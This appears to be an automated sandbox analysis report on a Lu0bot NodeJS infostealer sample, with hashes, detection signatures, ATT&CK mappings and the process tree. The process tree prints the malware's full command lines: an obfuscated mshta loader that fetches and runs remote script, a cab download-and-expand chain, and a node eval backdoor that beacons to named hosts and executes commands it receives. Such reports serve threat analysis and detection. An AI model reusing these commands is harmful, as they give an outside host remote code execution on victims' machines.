lu0bot | 2828e711f09ecf56ea9f8125361c7aa9301787d35eac993c1de86e24acfee49c

General

Target

usfive_20210721-104153.exe
Size

3KB
MD5

876cfa83c871bc2271cf0a6edfa83ca6
SHA1

8167442ce336011ce497bbe979fb8ece5a8d3a91
SHA256

2828e711f09ecf56ea9f8125361c7aa9301787d35eac993c1de86e24acfee49c
SHA512

c56641934d1ecafa9f2483d4daeb4dbb0b38b1636e34aee0380d4daf537bfdf09509bb79de8e9657efc614dd03e8ca3fc37652d7a1cd8be34565948d16be4fbd

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot
Blocklisted process makes network request 2 IoCs

Processes:

mshta.execscript.exe

flow pid process

8 1796 mshta.exe
12 756 cscript.exe
Executes dropped EXE 1 IoCs

Processes:

node.exe

pid process

3472 node.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

3852 icacls.exe

flow	pid	process
8	1796	mshta.exe
12	756	cscript.exe

pid	process
3472	node.exe

pid	process
3852	icacls.exe

Drops file in Windows directory 2 IoCs

Processes:

expand.exe

description	ioc	process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

node.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery
T1057

Processes:

tasklist.exe

pid process

2872 tasklist.exe
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.

System Information Discovery
T1082

Command-Line Interface
T1059

Processes:

ipconfig.exenetstat.exe

pid process

736 ipconfig.exe
1972 netstat.exe
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

732 systeminfo.exe

pid	process
2872	tasklist.exe

pid	process
736	ipconfig.exe
1972	netstat.exe

pid	process
732	systeminfo.exe

NTFS ADS 2 IoCs

Processes:

node.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Temp\7aff5132913a8580:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:fd3f10f769f5ebaf953d762d1e7dc008	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

node.exe

pid process

3472 node.exe
3472 node.exe
3472 node.exe
3472 node.exe

pid	process
3472	node.exe
3472	node.exe
3472	node.exe
3472	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

Processes:

tasklist.exewmic.exenetstat.exe

description	pid	process
Token: SeDebugPrivilege	2872	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1816	wmic.exe
Token: SeSecurityPrivilege	1816	wmic.exe
Token: SeTakeOwnershipPrivilege	1816	wmic.exe
Token: SeLoadDriverPrivilege	1816	wmic.exe
Token: SeSystemProfilePrivilege	1816	wmic.exe
Token: SeSystemtimePrivilege	1816	wmic.exe
Token: SeProfSingleProcessPrivilege	1816	wmic.exe
Token: SeIncBasePriorityPrivilege	1816	wmic.exe
Token: SeCreatePagefilePrivilege	1816	wmic.exe
Token: SeBackupPrivilege	1816	wmic.exe
Token: SeRestorePrivilege	1816	wmic.exe
Token: SeShutdownPrivilege	1816	wmic.exe
Token: SeDebugPrivilege	1816	wmic.exe
Token: SeSystemEnvironmentPrivilege	1816	wmic.exe
Token: SeRemoteShutdownPrivilege	1816	wmic.exe
Token: SeUndockPrivilege	1816	wmic.exe
Token: SeManageVolumePrivilege	1816	wmic.exe
Token: 33	1816	wmic.exe
Token: 34	1816	wmic.exe
Token: 35	1816	wmic.exe
Token: 36	1816	wmic.exe
Token: SeIncreaseQuotaPrivilege	1816	wmic.exe
Token: SeSecurityPrivilege	1816	wmic.exe
Token: SeTakeOwnershipPrivilege	1816	wmic.exe
Token: SeLoadDriverPrivilege	1816	wmic.exe
Token: SeSystemProfilePrivilege	1816	wmic.exe
Token: SeSystemtimePrivilege	1816	wmic.exe
Token: SeProfSingleProcessPrivilege	1816	wmic.exe
Token: SeIncBasePriorityPrivilege	1816	wmic.exe
Token: SeCreatePagefilePrivilege	1816	wmic.exe
Token: SeBackupPrivilege	1816	wmic.exe
Token: SeRestorePrivilege	1816	wmic.exe
Token: SeShutdownPrivilege	1816	wmic.exe
Token: SeDebugPrivilege	1816	wmic.exe
Token: SeSystemEnvironmentPrivilege	1816	wmic.exe
Token: SeRemoteShutdownPrivilege	1816	wmic.exe
Token: SeUndockPrivilege	1816	wmic.exe
Token: SeManageVolumePrivilege	1816	wmic.exe
Token: 33	1816	wmic.exe
Token: 34	1816	wmic.exe
Token: 35	1816	wmic.exe
Token: 36	1816	wmic.exe
Token: SeDebugPrivilege	1972	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

Processes:

usfive_20210721-104153.exemshta.execmd.execscript.exenode.exe

description	pid	process	target process
PID 992 wrote to memory of 1796	992	usfive_20210721-104153.exe	mshta.exe
PID 992 wrote to memory of 1796	992	usfive_20210721-104153.exe	mshta.exe
PID 992 wrote to memory of 1796	992	usfive_20210721-104153.exe	mshta.exe
PID 1796 wrote to memory of 3264	1796	mshta.exe	cmd.exe
PID 1796 wrote to memory of 3264	1796	mshta.exe	cmd.exe
PID 1796 wrote to memory of 3264	1796	mshta.exe	cmd.exe
PID 3264 wrote to memory of 756	3264	cmd.exe	cscript.exe
PID 3264 wrote to memory of 756	3264	cmd.exe	cscript.exe
PID 3264 wrote to memory of 756	3264	cmd.exe	cscript.exe
PID 3264 wrote to memory of 3232	3264	cmd.exe	expand.exe
PID 3264 wrote to memory of 3232	3264	cmd.exe	expand.exe
PID 3264 wrote to memory of 3232	3264	cmd.exe	expand.exe
PID 3264 wrote to memory of 932	3264	cmd.exe	cscript.exe
PID 3264 wrote to memory of 932	3264	cmd.exe	cscript.exe
PID 3264 wrote to memory of 932	3264	cmd.exe	cscript.exe
PID 932 wrote to memory of 3472	932	cscript.exe	node.exe
PID 932 wrote to memory of 3472	932	cscript.exe	node.exe
PID 932 wrote to memory of 3472	932	cscript.exe	node.exe
PID 3472 wrote to memory of 1808	3472	node.exe	cmd.exe
PID 3472 wrote to memory of 1808	3472	node.exe	cmd.exe
PID 3472 wrote to memory of 1808	3472	node.exe	cmd.exe
PID 3472 wrote to memory of 3760	3472	node.exe	cacls.exe
PID 3472 wrote to memory of 3760	3472	node.exe	cacls.exe
PID 3472 wrote to memory of 3760	3472	node.exe	cacls.exe
PID 3472 wrote to memory of 3852	3472	node.exe	icacls.exe
PID 3472 wrote to memory of 3852	3472	node.exe	icacls.exe
PID 3472 wrote to memory of 3852	3472	node.exe	icacls.exe
PID 3472 wrote to memory of 3768	3472	node.exe	attrib.exe
PID 3472 wrote to memory of 3768	3472	node.exe	attrib.exe
PID 3472 wrote to memory of 3768	3472	node.exe	attrib.exe
PID 3472 wrote to memory of 3236	3472	node.exe	attrib.exe
PID 3472 wrote to memory of 3236	3472	node.exe	attrib.exe
PID 3472 wrote to memory of 3236	3472	node.exe	attrib.exe
PID 3472 wrote to memory of 2872	3472	node.exe	tasklist.exe
PID 3472 wrote to memory of 2872	3472	node.exe	tasklist.exe
PID 3472 wrote to memory of 2872	3472	node.exe	tasklist.exe
PID 3472 wrote to memory of 1816	3472	node.exe	wmic.exe
PID 3472 wrote to memory of 1816	3472	node.exe	wmic.exe
PID 3472 wrote to memory of 1816	3472	node.exe	wmic.exe
PID 3472 wrote to memory of 736	3472	node.exe	ipconfig.exe
PID 3472 wrote to memory of 736	3472	node.exe	ipconfig.exe
PID 3472 wrote to memory of 736	3472	node.exe	ipconfig.exe
PID 3472 wrote to memory of 808	3472	node.exe	route.exe
PID 3472 wrote to memory of 808	3472	node.exe	route.exe
PID 3472 wrote to memory of 808	3472	node.exe	route.exe
PID 3472 wrote to memory of 1972	3472	node.exe	netstat.exe
PID 3472 wrote to memory of 1972	3472	node.exe	netstat.exe
PID 3472 wrote to memory of 1972	3472	node.exe	netstat.exe
PID 3472 wrote to memory of 732	3472	node.exe	systeminfo.exe
PID 3472 wrote to memory of 732	3472	node.exe	systeminfo.exe
PID 3472 wrote to memory of 732	3472	node.exe	systeminfo.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exe

pid process

3236 attrib.exe
3768 attrib.exe

pid	process
3236	attrib.exe
3768	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210721-104153.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210721-104153.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:992

C:\Windows\SysWOW64\mshta.exe
mshta "javascript:document.write();119;y=unescape('%375%7Eh%74t%70%3A%2F%2F%61s%750%34%2E%73h%6Fp%2Fh%72i%2F%3F%321%616%654%62%7E%316%37').split('~');202;try{x='WinHttp';91;x=new ActiveXObject(x+'.'+x+'Request.5.1');142;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);206;x.send();73;y='ipt.S';208;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);255;}catch(e){};175;;window.close();"
2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1796

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626856975840.txt & cscript /nologo /e:jscript get1626856975840.txt "http%3A%2F%2Fasu04.shop%2Fhri%2F%3F2adc3e24f%26b%3D6d9949eb" node.cab & expand node.cab node.exe & del get1626856975840.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626856975840.txt & cscript /nologo /e:jscript get1626856975840.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27adc3e24f%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu03.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626856975840.txt
3⤵
- Suspicious use of WriteProcessMemory
PID:3264

C:\Windows\SysWOW64\cscript.exe
cscript /nologo /e:jscript get1626856975840.txt "http%3A%2F%2Fasu04.shop%2Fhri%2F%3F2adc3e24f%26b%3D6d9949eb" node.cab
4⤵
- Blocklisted process makes network request
PID:756

C:\Windows\SysWOW64\expand.exe
expand node.cab node.exe
4⤵
- Drops file in Windows directory
PID:3232

C:\Windows\SysWOW64\cscript.exe
cscript /nologo /e:jscript get1626856975840.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27adc3e24f%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu03.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
4⤵
- Suspicious use of WriteProcessMemory
PID:932

C:\ProgramData\DNTException\node.exe
"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27adc3e24f%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu03.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3472

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c dir C:\
6⤵
PID:1808

C:\Windows\SysWOW64\cacls.exe
cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
6⤵
PID:3760

C:\Windows\SysWOW64\icacls.exe
icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
6⤵
- Modifies file permissions
PID:3852

C:\Windows\SysWOW64\attrib.exe
attrib.exe +H C:\ProgramData\DNTException
6⤵
- Views/modifies file attributes
PID:3768

C:\Windows\SysWOW64\attrib.exe
attrib.exe +H C:\ProgramData\DNTException\node.exe
6⤵
- Views/modifies file attributes
PID:3236

C:\Windows\SysWOW64\tasklist.exe
tasklist /fo csv /nh
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2872

C:\Windows\SysWOW64\Wbem\wmic.exe
wmic process get processid,parentprocessid,name,executablepath /format:csv
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1816

C:\Windows\SysWOW64\ipconfig.exe
ipconfig.exe /all
6⤵
- Gathers network information
PID:736

C:\Windows\SysWOW64\route.exe
route.exe print
6⤵
PID:808

C:\Windows\SysWOW64\netstat.exe
netstat.exe -ano
6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1972

C:\Windows\SysWOW64\systeminfo.exe
systeminfo.exe /fo csv
6⤵
- Gathers system information
PID:732

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Command-Line Interface

1

T1059

Persistence

Hidden Files and Directories

1

T1158

Privilege Escalation

Defense Evasion

File Permissions Modification

1

T1222

Hidden Files and Directories

1

T1158

Credential Access

Discovery

System Information Discovery

4

T1082

Query Registry

1

T1012

Process Discovery

1

T1057

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\DNTException\get1626856975840.txt
MD5
52ec5ebd8a447b5115ce83e703bcde51

SHA1
38ce97f87c6be668d07985558fc89c53e27770a3

SHA256
ef1be6a77e480e683331052654d3db47a02fe4b7af3e35e67b9248e989307615

SHA512
9af71d426564ef92ff6de1d89107161c138bbdd9dc08b5e380a0b94e7b2e91ec4d498a1d8f4514552a45bf14a8f9078dc295aa1cb86cfc063427ad218e9d5f32

Download Submit
C:\ProgramData\DNTException\get1626856975840.txt
MD5
e15f82747d0884d61a5bc4fb2db7d29d

SHA1
aca478622586f17603fe56705fd319b75198b2b0

SHA256
982675d0465497986b3ece89f08f81a4629d975617671153e0ca653f2589966f

SHA512
d8c17e54cbefa72191c238f23d619a4637fd74c8c8b9975071bf5507c5a34259495cd20e516c7f7f0c215ec4f724b22de88b8a5ea43765c019eb067600cf661d

Download Submit
C:\ProgramData\DNTException\node.cab
MD5
c7ed3d9304a29c8b472174bd910be071

SHA1
22b7d55b80acd434c13b0a2d8c59b45c10220a42

SHA256
abbaffb1b56bd3c5db5aedf4bdc0794d82bedba43677d13cd1056cb5412b3441

SHA512
c65c80564019ae54145a939f9ed463895c337f020cbd769647dc6baf8db5db283a5e151c2ae4f10681d23db161d791ce59c395d8ebba603a27a2a6be0368a1a2

Download Submit
C:\ProgramData\DNTException\node.exe
MD5
11f0b4e17e686cdc46f85a6becede4a8

SHA1
2826f7ac33b43439ecddd08ad541a7f54a9eb7c0

SHA256
6a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c

SHA512
11a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f

Download Submit
C:\ProgramData\DNTException\node.exe
MD5
11f0b4e17e686cdc46f85a6becede4a8

SHA1
2826f7ac33b43439ecddd08ad541a7f54a9eb7c0

SHA256
6a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c

SHA512
11a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f

Download Submit
memory/732-141-0x0000000000000000-mapping.dmp

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memory/736-138-0x0000000000000000-mapping.dmp

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memory/756-116-0x0000000000000000-mapping.dmp

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memory/808-139-0x0000000000000000-mapping.dmp

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memory/932-120-0x0000000000000000-mapping.dmp

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memory/1796-114-0x0000000000000000-mapping.dmp

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memory/1808-131-0x0000000000000000-mapping.dmp

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memory/1816-137-0x0000000000000000-mapping.dmp

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memory/1972-140-0x0000000000000000-mapping.dmp

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memory/2872-136-0x0000000000000000-mapping.dmp

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memory/3232-118-0x0000000000000000-mapping.dmp

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memory/3236-135-0x0000000000000000-mapping.dmp

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memory/3264-115-0x0000000000000000-mapping.dmp

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memory/3472-130-0x0000000024900000-0x0000000024901000-memory.dmp

Filesize
4KB

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memory/3472-129-0x000000002D800000-0x000000002D801000-memory.dmp

Filesize
4KB

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memory/3472-128-0x0000000016F00000-0x0000000016F01000-memory.dmp

Filesize
4KB

Download
memory/3472-127-0x0000000027900000-0x0000000027901000-memory.dmp

Filesize
4KB

Download
memory/3472-125-0x0000000004500000-0x0000000004501000-memory.dmp

Filesize
4KB

Download
memory/3472-126-0x0000000017C00000-0x0000000017C01000-memory.dmp

Filesize
4KB

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memory/3472-123-0x0000000000000000-mapping.dmp

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memory/3760-132-0x0000000000000000-mapping.dmp

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memory/3768-134-0x0000000000000000-mapping.dmp

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memory/3852-133-0x0000000000000000-mapping.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads